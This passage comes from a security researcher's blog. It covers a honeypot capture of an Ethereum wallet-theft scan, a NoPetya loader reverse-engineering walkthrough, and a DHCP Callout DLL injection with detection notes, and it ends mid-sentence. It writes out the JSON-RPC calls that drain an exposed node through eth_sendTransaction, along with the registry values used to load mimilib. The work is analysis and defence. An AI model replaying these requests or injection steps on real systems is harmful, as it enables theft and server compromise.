<span class="w"> </span><span class="s">"request.conten t.read()!:"</span><span class="p">:</span><span class="w"> </span><span class="s">"{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"0x1\", false], \"id\":134413}"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getPassword()!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">""</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.content.read()!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"b'{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNum ber\",\"params\":[\"0x1\", false], \"id\":134413}'"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getClientIP()!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"46.166.148.120"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getHost()!:"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"unpersistable"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"request.method!:"</span><span class="p">:</span><span class="w"> </span><span class="s">"POST"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.requestHeaders!:"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"unpersistable"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"req uest.requestHeaders!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"Headers({b'content-type': [b'application/json'], b'host': [b'xx.xx.xx.xx:8545'], b'content-length': [b'86'], b'accept-encoding': [b'gzip'], b'user-agent': [b'Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1' ], b'connection': [b'close']})"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.path!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"b'/'"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getUser()!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">""</span><span class="p">,</span>
<span class="w"> </span><span class="s">"request.getHost()!s:"</span><span class="p">:</span><span class="w"> </span><span class="s">"IPv4Address(TCP, 'xx.xx.xx.xx', 8545)"</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="s">"log_format"</span><span class="p">:</span><span class="w"> </span><span class="s">"\"{request.getClientIP()}\"\"{request.method}\" \"{request.uri} \" \"{request.path}\" \"{request.requestHeaders}\" \"{request.getUser()}\" \"{request.getPassword()}\" \"{request.getHost()} \"{request.content.read()}\""</span><span class="p">,</span>
<span class="w"> </span><span class="s">"log_source"</span><span class="p">:</span><span class="w"> </span><span class="nx">null</span>
<span class="p">}</span>
</code></pre></div>
<p>After I noticed that these are RPC calls to the <a href="https://github.com/ethereum/wiki/wiki/JSON-RPC">Ethereum JSON API</a> I implemented one valid response after another and managed to capture a full Ethereum robbery,
which consist basically (to the best of my knowledge) of commands in the following order:</p>
<ul>
<li>get information about block number 1 via eth_getBlockByNumber</li>
</ul>
<div class="highlight"><pre><span></span><code>body: {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":134413}
</code></pre></div>
<ul>
<li>get managed accounts via eth_accounts</li>
</ul>
<div class="highlight"><pre><span></span><code>body: {"jsonrpc":"2.0","method":"eth_accounts","params":[], "id":858524}
</code></pre></div>
<ul>
<li>get client version via web3_clientVersion</li>
</ul>
<div class="highlight"><pre><span></span><code>body: {"jsonrpc":"2.0","method":"web3_clientVersion","params":[], "id":731341}
</code></pre></div>
<ul>
<li>get the current balance of the previously received account: eth_getBalance</li>
</ul>
<div class="highlight"><pre><span></span><code>body: {"jsonrpc":"2.0","method":"eth_getBalance","params":["0x3750d6190541d5938739c28dc339ed20d8eafeb8","latest"], "id":764798}
</code></pre></div>
<ul>
<li>steal the gas via eth_sendTransaction from the previously received account</li>
</ul>
<div class="highlight"><pre><span></span><code>body: {"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0x3750d6190541d5938739c28dc339ed20d8eafeb8", "to":"0xcd9da0595a3661897f9879969ec29c0f524f899d", "value":"0x120f24ab84a7a0964000", "gas":"0x5208", "gasPrice":"0x916e2115b1e00"}], "id":136092}
</code></pre></div>
<p>Please notice that the values of the wallet and the balance (both of with the scanner got via the previous mentioned requests) are fictional. They do not exists in the blockchain - the scanner did apparently not recheck the values he got.</p>
<p>As you can see in the full log below the scanner later got in a loop when trying to execute eth_sendTransaction, since i did not implement a response to that call...</p>
<p>The full HTTP header looked like this:</p>
<div class="highlight"><pre><span></span><code><span class="nx">POST</span>
<span class="nx">Headers</span><span class="p">({</span><span class="nx">b</span><span class="err">'</span><span class="nx">connection</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="nx">close</span><span class="err">'</span><span class="p">]</span>
<span class="w"> </span><span class="nx">b</span><span class="err">'</span><span class="nx">host</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="nx">xx</span><span class="p">.</span><span class="nx">xx</span><span class="p">.</span><span class="nx">xx</span><span class="p">.</span><span class="nx">xx</span><span class="p">:</span><span class="mi">8545</span><span class="err">'</span><span class="p">]</span>
<span class="w"> </span><span class="nx">b</span><span class="err">'</span><span class="nx">content</span><span class="o">-</span><span class="k">type</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="nx">application</span><span class="o">/</span><span class="nx">json</span><span class="err">'</span><span class="p">]</span>
<span class="w"> </span><span class="nx">b</span><span class="err">'</span><span class="nx">accept</span><span class="o">-</span><span class="nx">encoding</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="nx">gzip</span><span class="err">'</span><span class="p">]</span>
<span class="w"> </span><span class="nx">b</span><span class="err">'</span><span class="nx">user</span><span class="o">-</span><span class="nx">agent</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="nx">Geth</span><span class="o">/</span><span class="nx">v1</span><span class="m m-Double">.6.1</span><span class="o">-</span><span class="nx">stable</span><span class="o">-</span><span class="mi">021</span><span class="nx">c3c28</span><span class="o">/</span><span class="nx">linux</span><span class="o">-</span><span class="nx">amd64</span><span class="o">/</span><span class="nx">go1</span><span class="m m-Double">.8.1</span><span class="err">'</span><span class="p">]</span>
<span class="w"> </span><span class="nx">b</span><span class="err">'</span><span class="nx">content</span><span class="o">-</span><span class="nx">length</span><span class="err">'</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="nx">b</span><span class="err">'</span><span class="mi">86</span><span class="err">'</span><span class="p">]})</span>
</code></pre></div>
<p>I removed my hosts IP.</p>
<p>Download the full log <a href="https://blog.3or.de/static/geth.log.gz">here</a>.</p>
<p>** Update: This article in the news:**</p>
<ul>
<li><a href="https://isc.sans.edu/forums/diary/9+Fast+and+Easy+Ways+To+Lose+Your+Crypto+Coins/23071/">https://isc.sans.edu/forums/diary/9+Fast+and+Easy+Ways+To+Lose+Your+Crypto+Coins/23071/</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/theres-some-intense-web-scans-going-on-for-bitcoin-and-ethereum-wallets/">https://www.bleepingcomputer.com/news/security/theres-some-intense-web-scans-going-on-for-bitcoin-and-ethereum-wallets/</a></li>
<li><a href="http://securityaffairs.co/wordpress/65962/cyber-crime/bitcoin-ethereum-wallet-scans.html">http://securityaffairs.co/wordpress/65962/cyber-crime/bitcoin-ethereum-wallet-scans.html</a></li>
</ul>Reverse Engineering NoPetya/Wiper pt 1/?2017-07-16T22:22:00+02:002017-07-16T22:22:00+02:00dimitag:blog.3or.de,2017-07-16:/reverse-engineering-nopetyawiper-pt-1.html<p>My First insights into NoPetya and some of its Anti-Debug techniques.</p><div class="highlight"><pre><span></span><code><span class="k">[Miyagi karate-chops the tops off three beer bottles]</span>
<span class="na">Daniel</span><span class="o">:</span><span class="w"> </span><span class="s">How did you do that? How did you do that?</span>
<span class="na">Miyagi</span><span class="o">:</span><span class="w"> </span><span class="s">Don't know. First time.</span>
<span class="na">(Karate Kid)</span>
</code></pre></div>
<p>Currently I feel like a k̵a̵r̵a̵t̵e̵ binary kid on its long, hard way to become a
binary ninja ;) To train my reverse engineering skills I started some time ago
to reverse engineer the NoPetya/Wiper variant 027cc450ef5f8c5f653329641ec1fed9.</p>
<p><center>
<img alt="tux can karate" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-0.png"><br>
<font size="1"><a href="https://pngimg.com/download/26988">source: CC BY_NC</a></font></center></p>
<p>As I am a self-taught reverse engineer and this is my second, "comprehensive"
project, be aware there might be mistakes and wrong assumptions. Suggestions and
comments are, as always, highly welcome!</p>
<h1>notes</h1>
<ul>
<li>In the following I will mark my function and variable namings in the
disassembly as <strong>fat</strong> text. These fat texts are not embedded in the binary but
are chosen by me.</li>
<li>In the most cases I write my blog posts to clearify things for myself. In
this case I had to correct some assumptions and findings during writing,
since i learned a whole lot new things about PE/COFF files and their loading process. So
there are some comments on the screenshots which might not fit the
descriptions I will make in the text of the post.</li>
<li>My understanding of the code changed a whole lot while writing this post. I
noticed that I mainly analyzed a pretty much standard PE loader code, with
some modifications (see <a href="#parse_reloc_for_absolute">parse_reloc_for_absolute()</a>)
Nevertheless I decided to publish this for documentation purposes... ;)</li>
</ul>
<h1>the storyline</h1>
<p>Since this will be a pretty dense post I want to give you a brief overview of
the storyline of this post, so you can cherry-pick the topics you want to know more about.</p>
<p>In this post I am going to first describe how NoPetya loads itself through DllMain()
and its single exported function which has ordinal #1. See section <a href="#first-run-calling-dllmain-and-1_1">first run:
calling DllMain and #1</a></p>
<p>After that the interesting part begins as I analyze the function <strong>load_and_delete()</strong>, which</p>
<ul>
<li>parses the DLL for modifications of the .reloc table. <ul>
<li>I patched the binary to circumvent that checks </li>
<li>see <a href="#parse_reloc_for_absolute">parse_reloc_for_absolute()</a></li>
</ul>
</li>
<li>setup the new copy of the DLL (remap sections, loads dependencies) <ul>
<li>I reverse engineered the functions responsible for these tasks. As far as
I saw there is nothing very fancy happening there... so I will ignore them
for now</li>
</ul>
</li>
<li>jumps to that new version for execution of the following tasks. <ul>
<li>I patched the binary to stay in the original copy</li>
<li>see <a href="#load_and_delete-jump-into-copy_1">load_and_delete: jump into copy</a></li>
</ul>
</li>
<li>remove the original version of itself from memory (executed through the
copy). <ul>
<li>I patched the binary to avoid the removal from memory</li>
<li>see <a href="#self_delete_and_load">self_delete_and_load()</a></li>
</ul>
</li>
<li>overwrite the file on disk (executed through the copy). <ul>
<li>I patched the binary to avoid self-deletion</li>
<li>see <a href="#self_delete_and_load">self_delete_and_load()</a></li>
</ul>
</li>
</ul>
<h1>first run: calling DllMain and #1</h1>
<h2>DllMain()</h2>
<p>NoPetya exports two functions, one nameless with ordinal 1 and the default
DllMain(). From reports I was aware that NoPetya calls itself like this:</p>
<div class="highlight"><pre><span></span><code>C:\\Windows\\system32\\rundll32.exe\” \”C:\\ProgramData\\perfc.dat\”,#1 30
</code></pre></div>
<p>Even if NoPetya spreads itself by calling the exported function with ordinal #1,
in the default settings DllMain() is still called when the dll is attached and
detached to a process or thread - NoPetya disables the calls to DllMain()
in the case of thread attach and detach. Besides that the malware stores its
base address (parameter hinstDLL) for later use in DllMain(): I named this
global variable <strong>baseAddress</strong></p>
<p>Besides that nothing more happens in DllMain().</p>
<h2>#1</h2>
<p>One of the first actions NoPetya executes in #1 is to obtain
SeShutdownPrivilege, SeDebugPrivilege and SeTcbPrivilege and check if some
processes are running on the system by calculating the hashes of the processes
exe statics with 3 fixed values. (Done through CreateToolhelp32Snapshot(),
Process32First(), Process32Next(), szExeFile field in a PROCESSENTRY32
structure)</p>
<p>To me it is not obvious if this is a well-known hashing function - I checked for
some which produce 32 bit hashes but none machted.
<a href="https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/">Here</a>
a user found some promising values for the hashes:</p>
<ul>
<li>2e214b44 = avp.exe</li>
<li>6403527e = ccSvcHst.exe</li>
<li>651b3005 = NS.exe</li>
</ul>
<p>I will not go into further detail since I think the following parts are more
interesting.</p>
<p>An additional step which is done in this startup function is that NoPetya copies
itself into heap for later use, for example for the lateral spreading part.
(<strong>self_in_heap</strong>)</p>
<p>After that the malware calls <strong>load_and_delete()</strong>. #1() is called recursively
from within this function so this call is skipped if the first recursion is
happening (ebp+hThread == 0xFFFFFFFF).</p>
<p><img alt="NoPetya: check for running processes" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-1.png"></p>
<h1>load_and_delete()</h1>
<p><img alt="load_and_delete():load new copy of the dll into memory" src="{static/images/reverse-engineering-nopetya-wiper-1-2.png"></p>
<p><strong>load_and_delete()</strong> executes the following tasks:</p>
<ul>
<li>allocate a new, hidden copy of the DLL in memory</li>
<li>make sure the new copy is properly loaded in memory (sections mapped with
appropriate access rights, dependencies loaded correctly, the function
pointers to the used library calls are correctly set up)</li>
<li>check for manipulations (especially the .reloc table)</li>
<li>transfer the subsequent exection to the new copy</li>
<li>overwrite and delete the original copy</li>
</ul>
<p>As a first step NoPetya retrieves the size of itself out of the loaded DLLs PE header (<em>1</em>),
allocates appropriate amount of memory (<em>2</em>) and copies itself into that memory
(<em>3</em>). This copy is going to be used later for execution of the attack vectors
embedded in the malware. The originally loaded version gets freed from the
process in a later step.</p>
<h2>load_and_delete(): check for .reloc manipluations</h2>
<p><img alt="load_and_delete():magic" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-3.png"></p>
<p>First I assumed there are two sanity checks of the .reloc table:</p>
<ul>
<li><strong>get_real_reloc()</strong> (<em>4</em>)</li>
<li><strong>parse_reloc_for_absolute()</strong> (<em>5</em>)</li>
</ul>
<p>During writing this post I learned a lot about the loading process of PE/COFF
files - for example I understood that both of these functions are part of the normal loading
process and that <strong>parse_reloc_for_absolte()</strong> is enhanced with a sanity check of the .reloc table.
Additionally I assume that the function get_real_reloc() contains a small
error (I have no other idea ;)), which has no impact on the functioning of the code -
for more information see the following section.</p>
<p>If the relocations (and the contained sanity check) are passed successfully
the malware remaps the sections of the
copy with the proper memory R/W/X permissions. (<em>6</em>)</p>
<h3>get_real_reloc()</h3>
<p>First I assumed <strong>get_real_reloc()</strong> is some kind of manipulation check, because
the malware calculates the address of the .reloc section with some detour.
Please note: in this part the screenshots might not fit the text, since I learned a
lot new things about the loading process of a PE file and the PE file structures
while writing.</p>
<p>The detour I mentioned is marked with a <em>7</em> in the following screenshot. NoPetya
takes the raw address of the .reloc section in <strong>self_in_heap</strong> substracts the
value of the RVA (of .reloc) from the section header table, and adds the RVA (the same value)
from the optional headers (red on yellow on the following screenshot). I currently see no value in this calculation?</p>
<p><strong>get_real_reloc()</strong> function returns the offset of the .reloc section
(RAW address), which subsequently is passed to <strong>parse_reloc_for_absolute()</strong> (see
next section). <strong>get_real_reloc()</strong> is working on the inactive copy of itself in
heap (<strong>self_in_heap</strong>) to calculate these values.</p>
<p><img alt="get_real_reloc()" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-5.png"></p>
<p><img alt="get_real_reloc()" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-4.png"></p>
<p>In the upper part of the image we see how the malware iterates all sections in the sections table and
if the stored value of the RVA is less than the currently parsed section plus
its size, it assumes that it found the real .reloc.</p>
<p>After NoPetya calculated the raw address of the .reloc table it passes this
value via ecx into <strong>parse_reloc_for_absolute()</strong>.</p>
<h3>parse_reloc_for_absolute()</h3>
<p>In a later step I will show how I modified the binary to avoid self-deletion
from memory and disk and to keep the execution in the original DLL instead of
the copy. This manipluations require also a modification of the .reloc table,
which otherwise causes unwanted modifications in the patched parts of the
binary resulting in unpredictable opcodes in the .code section.</p>
<p>To modify the .reloc table to ignore the entries, which otherwise would write into my patched
parts of the .code section, I disabled the entries by setting the fixup type to
0. (below a picuture of the PECOFF specification where I found the ABOLUTE
entry)</p>
<p><img alt="fixup types in PECOFF specification" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-7.png"></p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-6.png"></p>
<p>After I patched the binary and reloaded it into the debugger I experienced a
different behaviour - the binary quit itself before reaching my breakpoints,
where I wanted to continue my investigation. I ran into the already mentioned
sanity check of the .reloc table: <strong>parse_reloc_for_absolute()</strong> (<em>5</em>) detects all entries
in the .reloc table which are not IMAGE_REL_BASED_HIGHLOW, and stops the
exection of itself:</p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-8.png"></p>
<p>This function is build of two loops, one iterates all blocks of the .reloc table
and the inner loop iterates over all entries in the current block. <em>8</em> is (my
modified) version of the check if the current entry has IMAGE_REL_BASE_HIGHLOW
set as fixup value. In my the check is disabled by using a "jump above" instead
the original "jump if not zero".</p>
<h2>load_and_delete(): jump into copy</h2>
<p>For now I will skip how exactly NoPetya is remapping sections of the DLL copied into memory. To
proper execute the copy, NoPetya needs to set the permissions (RWX) to the
sections (e.g. .code = RX). This is done in <strong>remap_sections()</strong></p>
<p>After the setup of the DLL is completed the execution is transfered to the
copy. To ease my analysis I decided to patch the malware to stay in the original DLL.
To achive that I replaced some opcodes with nops, as you can see in
the left part of the following image. <em>9</em> shows how the
absolute address of the function <strong>self_delete_and_load</strong> in the copy
is calculated. (ebx contains the pointer to the base address of the copy). </p>
<p>Note: As I learned while writing, this is pretty much the same method a PE
loader would use, see <a href="https://github.com/abhisek/Pe-Loader-Sample/blob/master/src/PeLdr.cpp#L256">PE-Loader-Sample on Github</a></p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-9.png"></p>
<p>Since the address of <strong>baseAddress</strong> gets relocated through a entry in the .reloc
section we have to manipulate the entry at RVA 963E to be ignored (see the
subsection <em>load_and_delete(): check for .reloc manipluations</em>,
<em>parse_reloc_for_absolute()</em>). Otherwise the linker would write arbitary data
into this part of the .code section, which then would be interpreted and
executed as code.</p>
<p>The code jumps into the function <strong>self_delete_and_load()</strong>, which I will
analyze in the following section.</p>
<h2><strong>self_delete_and_load()</strong></h2>
<p>From within the copy <strong>self_delete_and_load()</strong> frees the originally executed
binary from the process, allocates a zero-initialized heap with the size of the
malwares DLL, overwrites the DLL with this heap section (all zeros) and deletes
the DLL in the end. After successfully executing the mentioned tasks the
initially called function #1 (see section <em>first run: calling DllMain and #1</em>)
is called.</p>
<p>Within <strong>self_delete_and_load()</strong> there were three parts which I had to patch:</p>
<ul>
<li>the freeing of the library (freed by a call to FreeLibrary() in kernel32.dll</li>
<li>the overwriting (WriteFile() kernel32.dll)</li>
<li>the self-deletion (DeleteFile() kernel32.dll)</li>
</ul>
<p>Here are the screenshots of the patched and unpatched calls to FreeLibrary() and
DeleteFile(). Note: both patches require also a change in the reloc table, as I
described them in the previous sections!
Since the malware checks the return values to be successfull we need to move 1
into eax. After removing the calls to the kernel32 functions and replacing
some bytes with <em>mov eax,1</em> there still are some free bytes, which we
pad with 0x90 (NOP) to keep the file size the same.
(<em>10</em> and <em>11</em>)</p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-10.png">
<img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-11.png"></p>
<h1>patching the binary</h1>
<p>For the sake of completeness a few words on patching the binary. If you found
some instructions you want to patch out of a binary IDA is very helpful by
showing the offset of these bytes in the input file </p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-12.png"></p>
<p>From there you can get the hex editor of your choice and replace the
instructions with NOPs or other instructions:</p>
<p><img alt="modified reloc table" src="https://blog.3or.de/images/reverse-engineering-nopetya-wiper-1-13.png"></p>
<p>The next thing you must check is if there is a entry in the reloc table, which
might alter your patched regions. If you replace a call into a DLLs function
with NOPs you surely have to deactivate the associated entry in the reloc-table
- as I showed in the sections above.</p>
<h1>patching the .reloc table</h1>
<p><a href="https://www.mzrst.com/">PPEE (puppy)</a> is the PE tool which I used to deactivate
entries in the reloc table by setting them to type 0. However I did not find a
tool which allows the deletion of entries.</p>
<p>The reloc tables entries list die relative virtual address of the relocations,
which the linker should execute. So you have to calculate the absolute address
by substracting the base address of the image from the addresses virtual address,
which gets relocated. (see see picture above, IDA shows that address in the bar)</p>
<h1>the end</h1>
<p>Altogether I spend quite some time in reverse engineering and understanding a -
pretty much standard - PE loading process. I certainly learned a whole lot
about PE/COFF files, the PE loading process, PE file
structures and reverse engineering in general. If my spare time permits there
will be some follow ups on this post, since I did not touch the
interesting parts of the malware ;)</p>mimilib DHCP Server Callout DLL injection2017-05-11T22:22:00+02:002017-05-11T22:22:00+02:00dimitag:blog.3or.de,2017-05-11:/mimilib-dhcp-server-callout-dll-injection.html<p>The new (as of 10.05.2017) version of mimilib (a DLL with a subset of mimikatz features) supports the <a href="https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html">DNS serverlevel plugin API</a> and the DHCP server Callout plugin API. In this post I will quickly cover how to inject the DLL into DHCP service and how to detect it using Windows Eventlogs and Sysmon.</p><p>With the <a href="https://github.com/gentilkiwi/mimikatz/commit/22eaf29e75a0da2628991d7efdaf68563ce0b340">latest commit</a>
to mimikatz the never resting Benjamin Delpy not only added the feature to load mimilib as DNS
serverlevel plugin into the Windows DNS Server (see <a href="https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html">here</a> for details)
but also integrated a similar API for the Windows DHCP server. (he already
<a href="http://blog.gentilkiwi.com/programmation/dhcp-windows-callout">blogged</a> about that in 2012!)</p>
<p>I did not find any management tool to leverage this injection technique
using the management RPC interface (MS-DHCPM), but I also did not spend too much time
on finding one... contact me, in case you know a tool ;)</p>
<p>To install the DLL you just have to drop the DLL on the target system and
set the following two values in the registry (everything is nicely documented <a href="https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx">here</a>).
Sadly cifs shares are not working, in my tests i could only load local files. DLLs specified on a CIFS share failed with EventID 1034 (see below)</p>
<p>In</p>
<div class="highlight"><pre><span></span><code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DHCPServer\Parameters
</code></pre></div>
<p>set</p>
<table>
<thead>
<tr>
<th>key name</th>
<th>datatype</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CalloutDlls</td>
<td>REG_MULTI_SZ</td>
<td>String that contains the local path to the DHCP Callout DLL. For example: "C:\Program Files\MyCalloutServer\my_dhcp.dll"</td>
</tr>
<tr>
<td>CalloutEnabled</td>
<td>DWORD</td>
<td>32-bit unsigned integer value that specifies 0 if the DHCP Callout server is not enabled, and 1 if it is.</td>
</tr>
</tbody>
</table>
<p>The mimilib DHCP Callout plugin in the current sources of mimikatz
drops all DHCP requests from VMWare MAC adresses (see
<a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdhcp.c#L35">here</a>), be aware! ;)</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="nx">dimi</span><span class="err">@</span><span class="nx">hermes</span><span class="p">:</span><span class="w"> </span><span class="nx">sudo</span><span class="w"> </span><span class="nx">dhcpcd</span><span class="w"> </span><span class="nx">ens33</span>
<span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">soliciting</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">DHCP</span><span class="w"> </span><span class="nx">lease</span>
<span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="w"> </span><span class="nx">timed</span><span class="w"> </span><span class="nx">out</span>
<span class="w"> </span><span class="nx">dhcpcd</span><span class="w"> </span><span class="nx">exited</span>
<span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="nx">dimi</span><span class="err">@</span><span class="nx">hermes</span><span class="p">:</span><span class="w"> </span><span class="nx">sudo</span><span class="w"> </span><span class="nx">ip</span><span class="w"> </span><span class="nx">link</span><span class="w"> </span><span class="nx">set</span><span class="w"> </span><span class="nx">dev</span><span class="w"> </span><span class="nx">ens33</span><span class="w"> </span><span class="nx">down</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nx">sudo</span><span class="w"> </span><span class="nx">macchanger</span><span class="w"> </span><span class="o">--</span><span class="nx">random</span><span class="w"> </span><span class="nx">ens33</span>
<span class="w"> </span><span class="nx">Current</span><span class="w"> </span><span class="nx">MAC</span><span class="p">:</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">0</span><span class="nx">c</span><span class="p">:</span><span class="mi">29</span><span class="p">:</span><span class="mi">1</span><span class="nx">c</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="mi">39</span><span class="w"> </span><span class="p">(</span><span class="nx">VMware</span><span class="p">,</span><span class="w"> </span><span class="nx">Inc</span><span class="p">.)</span>
<span class="w"> </span><span class="nx">Permanent</span><span class="w"> </span><span class="nx">MAC</span><span class="p">:</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">0</span><span class="nx">c</span><span class="p">:</span><span class="mi">29</span><span class="p">:</span><span class="mi">1</span><span class="nx">c</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="mi">39</span><span class="w"> </span><span class="p">(</span><span class="nx">VMware</span><span class="p">,</span><span class="w"> </span><span class="nx">Inc</span><span class="p">.)</span>
<span class="w"> </span><span class="nx">New</span><span class="w"> </span><span class="nx">MAC</span><span class="p">:</span><span class="w"> </span><span class="mi">7</span><span class="nx">a</span><span class="p">:</span><span class="nx">ca</span><span class="p">:</span><span class="mi">20</span><span class="p">:</span><span class="mi">01</span><span class="p">:</span><span class="mi">96</span><span class="p">:</span><span class="mi">9</span><span class="nx">c</span><span class="w"> </span><span class="p">(</span><span class="nx">unknown</span><span class="p">)</span>
<span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="nx">dimi</span><span class="err">@</span><span class="nx">hermes</span><span class="p">:</span><span class="w"> </span><span class="nx">sudo</span><span class="w"> </span><span class="nx">dhcpcd</span><span class="w"> </span><span class="nx">ens33</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">waiting</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">carrier</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">carrier</span><span class="w"> </span><span class="nx">acquired</span>
<span class="w"> </span><span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">soliciting</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">DHCP</span><span class="w"> </span><span class="nx">lease</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">offered</span><span class="w"> </span><span class="m m-Double">192.168.0.2</span><span class="mi">04</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="m m-Double">192.168.0.2</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">probing</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="m m-Double">192.168.0.2</span><span class="mi">04</span><span class="o">/</span><span class="mi">24</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">leased</span><span class="w"> </span><span class="m m-Double">192.168.0.2</span><span class="mi">04</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="mi">691200</span><span class="w"> </span><span class="nx">seconds</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">adding</span><span class="w"> </span><span class="nx">route</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="m m-Double">192.168.0.0</span><span class="o">/</span><span class="mi">24</span>
<span class="w"> </span><span class="nx">ens33</span><span class="p">:</span><span class="w"> </span><span class="nx">adding</span><span class="w"> </span><span class="k">default</span><span class="w"> </span><span class="nx">route</span><span class="w"> </span><span class="nx">via</span><span class="w"> </span><span class="m m-Double">192.168.0.2</span><span class="mi">54</span>
<span class="w"> </span><span class="nx">forked</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">background</span><span class="p">,</span><span class="w"> </span><span class="nx">child</span><span class="w"> </span><span class="nx">pid</span><span class="w"> </span><span class="mi">25808</span>
</code></pre></div>
<h2>Hunting</h2>
<h3>DLL ImageLoaded</h3>
<p>To check whether the DHCP service additionally loads DLLs, when a Callout DLL is specified I
made a intersection of the loaded DLLs in both cases.(I used ELK with Sysmon,
what a great combination!) You can download the raw data <a href="images/dhcp-Callout-loadeddll-intersection.csv">here</a>.
Sadly there is no additionaly (except the specified plugin DLL) loaded DLL, so
nothing to monitor here.</p>
<h3>Windows Events triggered</h3>
<p>I could observe the following Windows Events during my analysis in the
<strong>Microsoft-Windows-DHCP-Server</strong> log:</p>
<ul>
<li>If the Callout DLL is loaded successfully we see <strong>EventID 1033</strong> (see attachment #1 below)</li>
<li>If the Callout DLL is not loaded successfully we see <strong>EventID 1034</strong> (see attachment #2
below)</li>
<li><a href="https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx">There are</a> two
more Events associated with the loading or failed loading of a CalloutDll. In my
tests I could not trigger them: <strong>1031</strong>, <strong>1032</strong></li>
</ul>
<h3>Registry</h3>
<p>Since an attacker has to modify the registry to activate the Callout DLL, we can
